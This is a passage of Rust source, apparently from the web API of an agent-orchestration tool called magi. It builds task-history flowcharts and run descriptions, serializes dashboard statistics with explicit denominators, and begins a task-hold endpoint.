4369    /// somebody closed or held the task by hand.
4370    fn explains(self, end: TaskStatus) -> bool {
4371        match self {
4372            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4373            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4374            Self::Unreadable | Self::Superseded | Self::Ready => true,
4375            _ => end != TaskStatus::Done,
4376        }
4377    }
4378}
4379
4380/// `GET /api/queue/{id}` - one task with every attempt it went through.
4381#[derive(Debug, Serialize)]
4382struct TaskDetailView {
4383    #[serde(flatten)]
4384    task: TaskView,
4385    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4386    /// told otherwise; the loop's own flag is not visible from here.
4387    max_attempts: usize,
4388    history: Vec<TaskRunView>,
4389    flow: FlowView,
4390    /// Set for a follow-up task; see [`followup_origin`].
4391    followup_origin: Option<FollowUpOrigin>,
4392    /// How many entries of `history` could not be read.
4393    runs_unreadable: usize,
4394    /// Why the attempt count can be lower than the number of runs.
4395    attempts_note: &'static str,
4396}
4397
4398const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4399and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4400on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4401in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4402
4403/// The branch a review-only run reopened, read off the instruction
4404/// `Runner::open_review` writes.
4405fn review_branch_of(instruction: &str) -> Option<&str> {
4406    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4407    rest.split('`').next().filter(|b| !b.is_empty())
4408}
4409
4410/// Where an entry sits in a task's run list.
4411struct RunSlot<'a> {
4412    /// 1-based position.
4413    n: usize,
4414    /// The same run id appeared earlier: this pass resumed it.
4415    resumed: bool,
4416    /// Position of a later pass over the same run id, if any.
4417    resumed_later: Option<usize>,
4418    /// The previous distinct run and how it ended, for the retry note.
4419    prior: Option<(&'a str, RunStatus)>,
4420    last: bool,
4421}
4422
4423/// Describe one entry of a task's run list. Pure: everything it needs is on
4424/// the run and the task, so it is asserted without a server.
4425fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4426    let RunSlot {
4427        n,
4428        resumed,
4429        resumed_later,
4430        prior,
4431        last,
4432    } = at;
4433    let short = run::short_of(id).to_owned();
4434    let Some(s) = state else {
4435        return TaskRunView {
4436            n,
4437            id: id.to_owned(),
4438            short,
4439            kind: "unknown",
4440            status: None,
4441            readable: false,
4442            provisional: false,
4443            description:
4444                "This run's record could not be read by this build (written by a different \
4445                          magi, or removed), so what kind of attempt it was is unknown."
4446                    .to_owned(),
4447            outcome: String::new(),
4448            created_at: None,
4449            pr: None,
4450            exit: RunExit::Unreadable,
4451            attempt: AttemptCost::Unknown,
4452            branch: None,
4453        };
4454    };
4455    let branch = review_branch_of(&s.instruction);
4456    let kind = if resumed {
4457        "resume"
4458    } else if branch.is_some() {
4459        "review"
4460    } else if task.solo || s.candidates.len() == 1 {
4461        "solo"
4462    } else {
4463        "competition"
4464    };
4465    let mut description = match kind {
4466        "resume" => {
4467            format!("Resumed run {short}: the same run carried on instead of competing again.")
4468        }
4469        "review" => format!(
4470            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4471            branch.unwrap_or_default()
4472        ),
4473        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4474        _ => format!(
4475            "Competition: {} candidates judged blind.",
4476            s.candidates.len().max(1)
4477        ),
4478    };
4479    if !resumed && let Some((p, st)) = prior {
4480        description.push_str(&format!(
4481            " A retry: run {p} before it ended {}.",
4482            st.display_label()
4483        ));
4484    }
4485
4486    let status = s.status;
4487    let provisional = matches!(status, RunStatus::Stalled)
4488        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4489    let head = if resumed_later.is_some() {
4490        String::new()
4491    } else {
4492        match status {
4493            RunStatus::Merged => "Merged.".to_owned(),
4494            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4495            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4496            RunStatus::AlreadyInBase => {
4497                "Already in the base: this change landed under other commits, nothing was left to land."
4498                    .to_owned()
4499            }
4500            RunStatus::Stalled => {
4501                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4502                    .to_owned()
4503            }
4504            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4505            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4506            RunStatus::VerifiedNoop => {
4507                "Verified no-op: the candidates found nothing to change.".to_owned()
4508            }
4509            other if other.done() => format!("Ended {}.", other.display_label()),
4510            other => format!("In progress ({}).", other.display_label()),
4511        }
4512    };
4513    let why = if let Some(k) = resumed_later {
4514        // A run is only picked up again while it is unfinished, so an earlier
4515        // pass of a repeated id stopped short; the record keeps only the run's
4516        // latest status, which is left to the pass that carried it on.
4517        // Only the latest state is recorded: `parked` is cleared on resume
4518        // and `quota` accumulates across passes, so neither says why *this*
4519        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4520        let cause = if s.quota.is_empty() {
4521            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4522        } else {
4523            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4524        };
4525        format!(
4526            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4527        )
4528    } else if s.parked {
4529        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4530            .to_owned()
4531    } else if !status.done()
4532        || matches!(
4533            status,
4534            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4535        )
4536    {
4537        String::new()
4538    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4539        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4540    {
4541        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4542            .to_owned()
4543    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4544        " It left a pull request open, so the task was held for a person rather than retried."
4545            .to_owned()
4546    } else if matches!(status, RunStatus::VerifiedNoop) {
4547        " Held for a person to check the claim.".to_owned()
4548    } else if last {
4549        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4550    } else {
4551        " It spent an attempt, and the task moved on to the next run.".to_owned()
4552    };
4553    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4554    TaskRunView {
4555        n,
4556        id: id.to_owned(),
4557        short,
4558        kind,
4559        status: Some(status.as_str()),
4560        readable: true,
4561        provisional,
4562        description,
4563        outcome: format!("{head}{why}"),
4564        created_at: Some(s.created_at),
4565        pr: s.pr.as_ref().map(|p| p.url.clone()),
4566        exit,
4567        attempt: exit.cost(),
4568        branch: branch.map(str::to_owned),
4569    }
4570}
4571
4572/// One box of the task's flowchart.
4573#[derive(Debug, Serialize, PartialEq)]
4574struct FlowNode {
4575    /// Unique by position: a resumed run id appears once per pass.
4576    key: String,
4577    /// `chat`, `followup`, `start`, `run` or `end`.
4578    kind: &'static str,
4579    label: String,
4580    /// Run status (or the task's, for `end`); `None` when it is not a fact
4581    /// about this box (unreadable, or a pass the run later resumed from).
4582    status: Option<&'static str>,
4583    /// Whose status `status` is, so the client picks the right colour table:
4584    /// `task` (the `followup` parent and `end`) or `run`.
4585    status_of: &'static str,
4586    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4587    note: Option<&'static str>,
4588    run_kind: Option<&'static str>,
4589    detail: Option<String>,
4590    /// A readable run with a real verdict; a stall never is.
4591    decided: bool,
4592    readable: bool,
4593    href: Option<String>,
4594}
4595
4596#[derive(Debug, Serialize, PartialEq)]
4597struct FlowEdge {
4598    from: String,
4599    to: String,
4600    label: String,
4601    attempt: AttemptCost,
4602}
4603
4604#[derive(Debug, Serialize, PartialEq)]
4605struct FlowView {
4606    nodes: Vec<FlowNode>,
4607    edges: Vec<FlowEdge>,
4608    /// Attempts the task has counted since it was last released.
4609    attempts: usize,
4610    max_attempts: usize,
4611}
4612
4613/// Turn a task and its described runs into the flowchart's boxes and arrows.
4614/// Pure: the page only draws what this returns.
4615///
4616/// A follow-up opens with its parent (or the merged run) unless the task's
4617/// *source* is itself a chat, in which case the chat stays first and the
4618/// follow-up node comes second. An inherited `Task::origin_chat` alone never
4619/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
4620/// two normally do not coincide and the nearer origin wins.
4621fn task_flow(
4622    task: &Task,
4623    history: &[TaskRunView],
4624    max_attempts: usize,
4625    origin: Option<&FollowUpOrigin>,
4626) -> FlowView {
4627    let node = |key: &str, kind, label: String| FlowNode {
4628        key: key.to_owned(),
4629        kind,
4630        label,
4631        status: None,
4632        status_of: "run",
4633        note: None,
4634        run_kind: None,
4635        detail: None,
4636        decided: false,
4637        readable: true,
4638        href: None,
4639    };
4640    let mut nodes = Vec::new();
4641    let mut edges: Vec<FlowEdge> = Vec::new();
4642    // A task queued from a chat opens the flow with that conversation.
4643    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4644        let mut n = node(
4645            "chat",
4646            "chat",
4647            format!("Chat {}", crate::queue::short(&link.id)),
4648        );
4649        n.href = Some(link.href);
4650        nodes.push(n);
4651        edges.push(FlowEdge {
4652            from: "chat".to_owned(),
4653            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4654            label: "queued from chat".to_owned(),
4655            attempt: AttemptCost::None,
4656        });
4657    }
4658    if let Some(o) = origin {
4659        let mut n = match &o.parent {
4660            Some(p) => {
4661                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4662                n.status = Some(p.status);
4663                n.status_of = "task";
4664                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4665                n.href = Some(p.href.clone());
4666                n
4667            }
4668            None => {
4669                let mut n = node(
4670                    "origin",
4671                    "followup",
4672                    format!("Follow-up of run {}", o.run.short),
4673                );
4674                n.detail = Some("merged run".to_owned());
4675                n.status = o.run.status;
4676                n.href = o.run.href.clone();
4677                if o.run.href.is_none() {
4678                    n.readable = false;
4679                    n.note = Some("unreadable");
4680                }
4681                n
4682            }
4683        };
4684        n.decided = true;
4685        let from = n.key.clone();
4686        nodes.push(n);
4687        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4688        let more = o.findings.len().saturating_sub(shown.len());
4689        let label = match (shown.is_empty(), more) {
4690            (true, _) => "open findings".to_owned(),
4691            (false, 0) => format!("open findings {}", shown.join(", ")),
4692            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4693        };
4694        edges.push(FlowEdge {
4695            from,
4696            to: "start".to_owned(),
4697            label,
4698            attempt: AttemptCost::None,
4699        });
4700    }
4701    nodes.push(node("start", "start", "Task queued".to_owned()));
4702    let mut prev = "start".to_owned();
4703    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4704    for (i, h) in history.iter().enumerate() {
4705        let key = format!("run-{}", h.n);
4706        let mut n = node(&key, "run", format!("Run {}", h.short));
4707        n.run_kind = Some(h.kind);
4708        n.readable = h.readable;
4709        n.href = Some(format!("#/runs/{}", h.id));
4710        n.decided = h.readable && !h.provisional;
4711        n.detail = h
4712            .branch
4713            .as_ref()
4714            .map(|b| format!("review-only run of branch {b}"));
4715        match h.exit {
4716            RunExit::Unreadable => n.note = Some("unreadable"),
4717            RunExit::Interrupted => n.note = Some("interrupted"),
4718            _ => {
4719                n.status = h.status;
4720                if h.provisional {
4721                    n.note = Some("no verdict");
4722                }
4723            }
4724        }
4725        let into = match h.kind {
4726            "review" => Some(format!(
4727                "review-only run of branch {}",
4728                h.branch.as_deref().unwrap_or("?")
4729            )),
4730            "resume" => Some("resume the same run".to_owned()),
4731            _ if i > 0 => Some("retry".to_owned()),
4732            _ => None,
4733        };
4734        let label = match (prev_exit, into) {
4735            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4736            (Some((e, st)), None) => e.edge_label(st),
4737            (None, Some(i)) => i,
4738            (None, None) => "claimed".to_owned(),
4739        };
4740        edges.push(FlowEdge {
4741            from: prev.clone(),
4742            to: key.clone(),
4743            label,
4744            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4745        });
4746        prev_exit = Some((h.exit, h.status));
4747        prev = key;
4748        nodes.push(n);
4749    }
4750    let mut end = node("end", "end", task.status.as_str().to_owned());
4751    end.status = Some(task.status.as_str());
4752    end.status_of = "task";
4753    nodes.push(end);
4754    let (label, attempt) = match prev_exit {
4755        None => (
4756            format!("no run yet \u{2192} {}", task.status.as_str()),
4757            AttemptCost::None,
4758        ),
4759        Some((e, st)) if e.explains(task.status) => (
4760            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4761            e.cost(),
4762        ),
4763        Some((e, _)) => (
4764            format!("closed by hand: task is {}", task.status.as_str()),
4765            e.cost(),
4766        ),
4767    };
4768    edges.push(FlowEdge {
4769        from: prev,
4770        to: "end".to_owned(),
4771        label,
4772        attempt,
4773    });
4774    FlowView {
4775        nodes,
4776        edges,
4777        attempts: task.attempts,
4778        max_attempts,
4779    }
4780}
4781
4782/// Describe every entry of `task.runs`, in order, reading each run's record
4783/// through `read`.
4784fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4785    let mut history = Vec::with_capacity(task.runs.len());
4786    let mut seen: Vec<&str> = Vec::new();
4787    let mut prior: Option<(&str, RunStatus)> = None;
4788    for (i, run_id) in task.runs.iter().enumerate() {
4789        let state = read(run_id);
4790        let resumed = seen.contains(&run_id.as_str());
4791        seen.push(run_id);
4792        history.push(task_run_view(
4793            run_id,
4794            state.as_ref(),
4795            RunSlot {
4796                n: i + 1,
4797                resumed,
4798                resumed_later: task.runs[i + 1..]
4799                    .iter()
4800                    .position(|r| r == run_id)
4801                    .map(|off| i + off + 2),
4802                prior,
4803                last: i + 1 == task.runs.len(),
4804            },
4805            task,
4806        ));
4807        if let Some(s) = &state {
4808            prior = Some((run::short_of(run_id), s.status));
4809        }
4810    }
4811    history
4812}
4813
4814async fn task_detail(
4815    State(ui): State<Arc<Ui>>,
4816    Path(id): Path<String>,
4817) -> ApiResult<Json<TaskDetailView>> {
4818    blocking(move || {
4819        let id = resolve_task(&ui.queue, &id)?;
4820        let task = ui
4821            .queue
4822            .get(&id)
4823            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4824        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4825        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4826        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4827        let max_attempts = daemon::Opts::default().max_attempts;
4828        let origin = task.followup.as_ref().map(|fu| {
4829            followup_origin(
4830                fu,
4831                |tid| ui.queue.get(tid).ok(),
4832                |rid| read_run(&ui.runs, rid).ok(),
4833            )
4834        });
4835        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4836        Ok(Json(TaskDetailView {
4837            max_attempts,
4838            flow,
4839            followup_origin: origin,
4840            history,
4841            runs_unreadable,
4842            attempts_note: ATTEMPTS_NOTE,
4843            task: TaskView::with_inventory(task, &inv),
4844        }))
4845    })
4846    .await
4847}
4848
4849/// A rate together with its denominator, so the client can tell "computed as
4850/// 0%" apart from "no data to compute it from" — both would otherwise
4851/// serialize as `0.0`. `None` means the denominator was zero.
4852#[derive(Debug, Serialize)]
4853struct RateView {
4854    pct: f64,
4855    denominator: usize,
4856}
4857
4858impl RateView {
4859    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4860        (denominator > 0).then(|| Self {
4861            pct: 100.0 * numerator as f64 / denominator as f64,
4862            denominator,
4863        })
4864    }
4865}
4866
4867/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4868/// rates, each paired with its own denominator via [`RateView`] rather than
4869/// exposing `Stats`' own percentage methods directly — see this module's
4870/// doc for why `Stats` itself is never serialized.
4871#[derive(Debug, Serialize)]
4872struct StatsTotalsView {
4873    runs: usize,
4874    merged: usize,
4875    ready: usize,
4876    blocked: usize,
4877    failed: usize,
4878    stalled: usize,
4879    verified_noop: usize,
4880    superseded: usize,
4881    in_progress: usize,
4882    completion_rate: Option<RateView>,
4883    tallied: usize,
4884    split: usize,
4885    split_rate: Option<RateView>,
4886    deliberated: usize,
4887    minds_changed: usize,
4888    converged: usize,
4889    review_rounds: usize,
4890}
4891
4892impl From<&stats::Totals> for StatsTotalsView {
4893    fn from(t: &stats::Totals) -> Self {
4894        Self {
4895            runs: t.runs,
4896            merged: t.merged,
4897            ready: t.ready,
4898            blocked: t.blocked,
4899            failed: t.failed,
4900            stalled: t.stalled,
4901            verified_noop: t.verified_noop,
4902            superseded: t.superseded,
4903            in_progress: t.in_progress,
4904            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4905            tallied: t.tallied,
4906            split: t.split,
4907            split_rate: RateView::of(t.split, t.tallied),
4908            deliberated: t.deliberated,
4909            minds_changed: t.minds_changed,
4910            converged: t.converged,
4911            review_rounds: t.review_rounds,
4912        }
4913    }
4914}
4915
4916/// [`crate::stats::AgentStats`] for the wire.
4917#[derive(Debug, Serialize)]
4918struct AgentStatsView {
4919    agent: String,
4920    entered: usize,
4921    wins: usize,
4922    empty: usize,
4923    win_rate: Option<RateView>,
4924}
4925
4926impl From<&stats::AgentStats> for AgentStatsView {
4927    fn from(a: &stats::AgentStats) -> Self {
4928        Self {
4929            agent: a.agent.clone(),
4930            entered: a.entered,
4931            wins: a.wins,
4932            empty: a.empty,
4933            win_rate: RateView::of(a.wins, a.entered),
4934        }
4935    }
4936}
4937
4938/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4939/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4940/// value, `None` when `rounds` is zero.
4941#[derive(Debug, Serialize)]
4942struct ReviewerStatsView {
4943    agent: String,
4944    rounds: usize,
4945    seated: usize,
4946    submitted: usize,
4947    adopted: usize,
4948    unique: usize,
4949    timeouts: usize,
4950    adopted_per_round: Option<f64>,
4951    precision: Option<RateView>,
4952    unique_rate: Option<RateView>,
4953    timeout_rate: Option<RateView>,
4954}
4955
4956impl From<&stats::ReviewerStats> for ReviewerStatsView {
4957    fn from(r: &stats::ReviewerStats) -> Self {
4958        Self {
4959            agent: r.agent.clone(),
4960            rounds: r.rounds,
4961            seated: r.seated,
4962            submitted: r.submitted,
4963            adopted: r.adopted,
4964            unique: r.unique,
4965            timeouts: r.timeouts,
4966            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4967            precision: RateView::of(r.adopted, r.submitted),
4968            unique_rate: RateView::of(r.unique, r.submitted),
4969            timeout_rate: RateView::of(r.timeouts, r.seated),
4970        }
4971    }
4972}
4973
4974/// [`crate::stats::AdvisorStats`] for the wire.
4975///
4976/// `reflection_rate` is approximate by construction — see
4977/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4978/// that caveat is static text in `index.html`, not a field here.
4979#[derive(Debug, Serialize)]
4980struct AdvisorStatsView {
4981    agent: String,
4982    seated: usize,
4983    proposed: usize,
4984    absent: usize,
4985    faint: usize,
4986    strong: usize,
4987    reflection_rate: Option<RateView>,
4988}
4989
4990impl From<&stats::AdvisorStats> for AdvisorStatsView {
4991    fn from(a: &stats::AdvisorStats) -> Self {
4992        Self {
4993            agent: a.agent.clone(),
4994            seated: a.seated,
4995            proposed: a.proposed,
4996            absent: a.absent,
4997            faint: a.faint,
4998            strong: a.strong,
4999            reflection_rate: RateView::of(a.strong, a.proposed),
5000        }
5001    }
5002}
5003
5004/// [`crate::stats::E2eStats`] for the wire.
5005#[derive(Debug, Serialize)]
5006struct E2eStatsView {
5007    rounds: usize,
5008    failures: usize,
5009    sole_detections: usize,
5010    deferred: usize,
5011    sole_rate: Option<RateView>,
5012}
5013
5014impl From<&stats::E2eStats> for E2eStatsView {
5015    fn from(e: &stats::E2eStats) -> Self {
5016        Self {
5017            rounds: e.rounds,
5018            failures: e.failures,
5019            sole_detections: e.sole_detections,
5020            deferred: e.deferred,
5021            sole_rate: RateView::of(e.sole_detections, e.failures),
5022        }
5023    }
5024}
5025
5026/// [`crate::stats::ReleaseBumpStats`] for the wire.
5027///
5028/// `clean` is sent as a raw count, computed the same way
5029/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5030/// needs_attention`) — never derived client-side from `automerge_enabled`,
5031/// which would misclassify a `merged_directly` bump (automerge rejected, but
5032/// magi merged it directly, so no human involvement) as needing attention.
5033#[derive(Debug, Serialize)]
5034struct ReleaseBumpStatsView {
5035    merged: usize,
5036    recorded: usize,
5037    pr_opened: usize,
5038    automerge_enabled: usize,
5039    merged_directly: usize,
5040    needs_attention: usize,
5041    clean: usize,
5042    coverage_rate: Option<RateView>,
5043    automerge_rate: Option<RateView>,
5044    attention_rate: Option<RateView>,
5045}
5046
5047impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5048    fn from(b: &stats::ReleaseBumpStats) -> Self {
5049        Self {
5050            merged: b.merged,
5051            recorded: b.recorded,
5052            pr_opened: b.pr_opened,
5053            automerge_enabled: b.automerge_enabled,
5054            merged_directly: b.merged_directly,
5055            needs_attention: b.needs_attention,
5056            clean: b.clean(),
5057            coverage_rate: RateView::of(b.recorded, b.merged),
5058            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5059            attention_rate: RateView::of(b.needs_attention, b.recorded),
5060        }
5061    }
5062}
5063
5064/// [`crate::queue::TaskCounts`] for the wire.
5065#[derive(Debug, Serialize)]
5066struct TaskCountsView {
5067    queued: usize,
5068    running: usize,
5069    done: usize,
5070    failed: usize,
5071    held: usize,
5072    blocked: usize,
5073    parked: usize,
5074}
5075
5076impl From<crate::queue::TaskCounts> for TaskCountsView {
5077    fn from(c: crate::queue::TaskCounts) -> Self {
5078        Self {
5079            queued: c.queued,
5080            running: c.running,
5081            done: c.done,
5082            failed: c.failed,
5083            held: c.held,
5084            blocked: c.blocked,
5085            parked: c.parked,
5086        }
5087    }
5088}
5089
5090/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5091/// runs recorded — the summary the UI's repository selector is built from.
5092/// Carries no nested `Stats`: picking a repo means re-fetching
5093/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5094/// aggregation rather than duplicating it.
5095#[derive(Debug, Serialize)]
5096struct RepoSummaryView {
5097    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5098    /// against, full path and all (see [`stats_get`]'s own doc for why).
5099    repo: String,
5100    /// Display name only; never used for matching.
5101    name: String,
5102    runs: usize,
5103    completion_rate: Option<RateView>,
5104}
5105
5106impl From<&stats::RepoStats> for RepoSummaryView {
5107    fn from(r: &stats::RepoStats) -> Self {
5108        let t = &r.stats.totals;
5109        Self {
5110            repo: r.repo.to_string_lossy().into_owned(),
5111            name: r.name.clone(),
5112            runs: t.runs,
5113            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5114        }
5115    }
5116}
5117
5118/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5119/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5120/// renders from them) are free to grow without that becoming a wire-contract
5121/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5122/// data" from "computed and it really is zero" the way [`RateView`] does.
5123#[derive(Debug, Serialize)]
5124struct StatsView {
5125    totals: StatsTotalsView,
5126    /// Best win rate first, as [`stats::collect`] already sorts it.
5127    agents: Vec<AgentStatsView>,
5128    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5129    reviewers: Vec<ReviewerStatsView>,
5130    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5131    advisors: Vec<AdvisorStatsView>,
5132    e2e: E2eStatsView,
5133    release_bumps: ReleaseBumpStatsView,
5134    queue: TaskCountsView,
5135    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5136    /// that field's doc. Asserted to match it in
5137    /// `stats_runs_unreadable_matches_health`.
5138    ///
5139    /// Always the whole-workload count, even when `repo` narrows every other
5140    /// field to one repository - an unreadable `run.json` carries no `repo`
5141    /// a per-repository count could attribute it to, and the queue/health
5142    /// views this mirrors never scope it either. The UI must not present it
5143    /// as if it were scoped to the selected repository.
5144    runs_unreadable: usize,
5145    /// Every repository with runs recorded, most runs first - what the UI's
5146    /// repository selector is built from. Always the full list regardless of
5147    /// `repo`, so switching repositories never needs a second request.
5148    repos: Vec<RepoSummaryView>,
5149    /// Runs per local day over the last 30 days, oldest first, always 30
5150    /// entries. Days are the *server's* local dates (the UI must not convert
5151    /// them again), cut by run creation and classified by current status.
5152    /// Narrowed by `repo` like every other run-derived field.
5153    daily: Vec<DailyStatsView>,
5154    /// The `?repo=` value this response was narrowed to, echoed back so the
5155    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5156    /// all-repositories view.
5157    repo: Option<String>,
5158    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5159    /// current config roster no longer lists them. Empty with `?all=true`, an
5160    /// unreadable config, or when nothing was retired.
5161    retired_hidden: Vec<String>,
5162}
5163
5164/// One day of [`StatsView::daily`].
5165#[derive(Debug, Serialize)]
5166struct DailyStatsView {
5167    /// `YYYY-MM-DD`, server-local.
5168    date: String,
5169    runs: usize,
5170    merged: usize,
5171    ready: usize,
5172    other: usize,
5173    /// `None` on a day with no runs, so it never reads as 0%.
5174    completion_rate: Option<RateView>,
5175}
5176
5177impl From<&stats::DayBucket> for DailyStatsView {
5178    fn from(b: &stats::DayBucket) -> Self {
5179        Self {
5180            date: b.date.to_string(),
5181            runs: b.runs,
5182            merged: b.merged,
5183            ready: b.ready,
5184            other: b.other,
5185            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5186        }
5187    }
5188}
5189
5190/// How many days [`StatsView::daily`] covers.
5191const STATS_DAILY_DAYS: usize = 30;
5192
5193/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5194/// repository. Matched by full-path equality against `RunState.repo` only
5195/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5196/// `--repo` is, because the value here always came from this same route's
5197/// own `repos` list in an earlier response, never typed by a human. A value
5198/// matching no run is a 404, not an empty aggregate: the caller asked for a
5199/// specific, named repository, and silently returning zeroes would look
5200/// exactly like a repository that has runs but none of interest.
5201#[derive(Debug, Default, Deserialize)]
5202#[serde(default)]
5203struct StatsQuery {
5204    repo: Option<String>,
5205    /// `?all=true` keeps agents that are no longer in the roster.
5206    all: bool,
5207}
5208
5209/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5210/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5211/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5212/// prints from. Reads every readable run on disk, exactly as
5213/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5214/// a separately-maintained tally could.
5215async fn stats_get(
5216    State(ui): State<Arc<Ui>>,
5217    Query(q): Query<StatsQuery>,
5218) -> ApiResult<Json<StatsView>> {
5219    blocking(move || {
5220        let states: Vec<RunState> = run_ids(&ui.runs)
5221            .into_iter()
5222            .filter_map(|id| read_run(&ui.runs, &id).ok())
5223            .collect();
5224        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5225            .iter()
5226            .map(RepoSummaryView::from)
5227            .collect();
5228        let mut scoped: Vec<&RunState> = states.iter().collect();
5229        let mut collected = match &q.repo {
5230            Some(repo) => {
5231                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5232                if filtered.is_empty() {
5233                    return Err(ApiError::not_found(format!(
5234                        "no runs recorded against repo `{repo}`"
5235                    )));
5236                }
5237                scoped = filtered.clone();
5238                stats::collect_refs(filtered)
5239            }
5240            None => stats::collect(&states),
5241        };
5242        if !q.all {
5243            let repo = q
5244                .repo
5245                .as_deref()
5246                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5247            stats::retain_current_roster(&mut collected, &repo);
5248        }
5249        let daily = stats::daily(
5250            scoped,
5251            jiff::Zoned::now().date(),
5252            &jiff::tz::TimeZone::system(),
5253            STATS_DAILY_DAYS,
5254        );
5255        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5256        Ok(Json(StatsView {
5257            totals: StatsTotalsView::from(&collected.totals),
5258            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5259            reviewers: collected
5260                .reviewers
5261                .iter()
5262                .map(ReviewerStatsView::from)
5263                .collect(),
5264            advisors: collected
5265                .advisors
5266                .iter()
5267                .map(AdvisorStatsView::from)
5268                .collect(),
5269            e2e: E2eStatsView::from(&collected.e2e),
5270            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5271            queue: TaskCountsView::from(queue_counts),
5272            runs_unreadable: runs_unreadable(&ui.runs),
5273            repos,
5274            daily: daily.iter().map(DailyStatsView::from).collect(),
5275            repo: q.repo.clone(),
5276            retired_hidden: collected.retired_hidden.clone(),
5277        }))
5278    })
5279    .await
5280}
5281
5282/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5283/// gives no reason - which must keep working, since not every hold has one.
5284#[derive(Debug, Default, Deserialize)]
5285#[serde(default, deny_unknown_fields)]
5286struct HoldBody {
5287    reason: Option<String>,
5288}
5289
5290async fn queue_hold(
5291    State(ui): State<Arc<Ui>>,
5292    Path(id): Path<String>,
5293    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5294) -> ApiResult<Json<TaskView>> {
5295    // An absent body is the ordinary case - most holds are unexplained, and
5296    // that has to stay a one-tap action rather than a form. A body that is
5297    // present and malformed is still a bad request.
5298    let body = match body {
5299        Ok(Json(body)) => body,
5300        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5301        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5302    };
